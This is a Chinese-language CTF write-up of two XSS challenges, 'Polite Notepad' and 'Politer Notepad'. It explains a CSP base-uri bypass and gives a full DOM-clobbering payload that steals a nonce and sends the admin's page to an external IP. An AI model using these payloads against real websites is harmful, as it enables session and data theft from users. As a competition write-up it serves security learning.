HMOCTF-XSS
HMOCTF-XSS
2021.5.16参与了HMO CTF做了和XSS相关的题目。
整场比赛:

Polite Notepad
打开题目首先是个登录框:

随便输入username和passwd就可以进入写note
新增一个note观察一下DOM

生成了一个note

可以看到使用了csp,写个XSS POC试一下,可以看到报错

很明显,这题是CSP绕过了,查看这个csp
csp策略:CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置
Content-Security-Policy: default-src 'self'; style-src https://cdn.jsdelivr.net/npm/bootstrap@5.0.0/dist/css/bootstrap.min.css; script-src https://ajax.googleapis.com/ajax/libs/jquery/3.6.0/jquery.min.js 'nonce-cLINoUPEhBHqzl0KFYIc9w'
此处使用了default-src:‘self’,也就是说默认情况下,限定了javascript、css、img、font、connect(请求相关)、child(包括iframe等)的有效来源只能是与该主页同源的网站。
通过csp check检查一下这个策略
可以看到csp策略没有设置base uri

Content-Security-Policy base-uri指令限制可以在文档<base>元素中使用的URL 。如果此值不存在,则允许使用任何URI。如果此指令不存在,则用户代理将使用该<base>元素中的值。
使用base标签定义URL写入content,可以看到网页中使用的/static/badwords.js是相对路径,通过base定义uri之后,直接获取的就是该base对应的uri中的badwords.js

那么在自己的vps上放一个内容为恶意poc的/static/badwords.js,即可达到XSS的目的

下一步就是找flag了,一般情况下会认为在cookie里,但是通过打cookie发现cookie为空
找了一轮,发现在admin管理员的mynote中,那么写个请求,先访问admin的mynote

将note的地址分享给bot

获取到返回值如下:

编码一下可以看到:

访问这个note

根据返回值解码:


拿到flag
Politer Notepad
上一道题的解法其实并非主办方的本意,但是由于非预期(未设置base uri)所以导致了比较容易的解法,主办方在新的进阶版题目中,修复了这个问题。将/staic/badwords.js改成了绝对路径,base标签无法篡改该js

这道题是结束后,登录到别人的账号中(因为大家做题的时候都是用简单账号登录,账号碰撞了一下,发现了poc)

通过查看源代码可以看到,在note中存在以下规则:

通过good*和bad*替换达到偷取nonce执行XSS的结果
<a id=bad1 href='cid:="</div">'><a id=good1 href="cid:></script><iframe srcdoc='$'"><a id=bad2 href="http://politernotepad.zajebistyc.tf/static/badwords.js"><a id=good2 href='data:,fetch(`http://politernotepad.zajebistyc.tf`).then(e=>e.text()).then(e=>top.location=`http://192.154.218.128:2333?h=${encodeURIComponent(e)}`)"></script>'><a id=bad3><a id=good3><a id=bad4><a id=good4><script cid:=
分析一下这个poc:
先看一下这个content Dom tree前后


bad1 的href='cid:="</div>"',href指向链接 cid:="</div>".在poc的最后,拼接了<script cid:=与div的闭合标签</div>,形成href,被good1替换。

$占位符直到遇到'结束


bad2中的绝对路径/static/badwords.js 被good2替换

最后变成这样:


解码:

获取flag

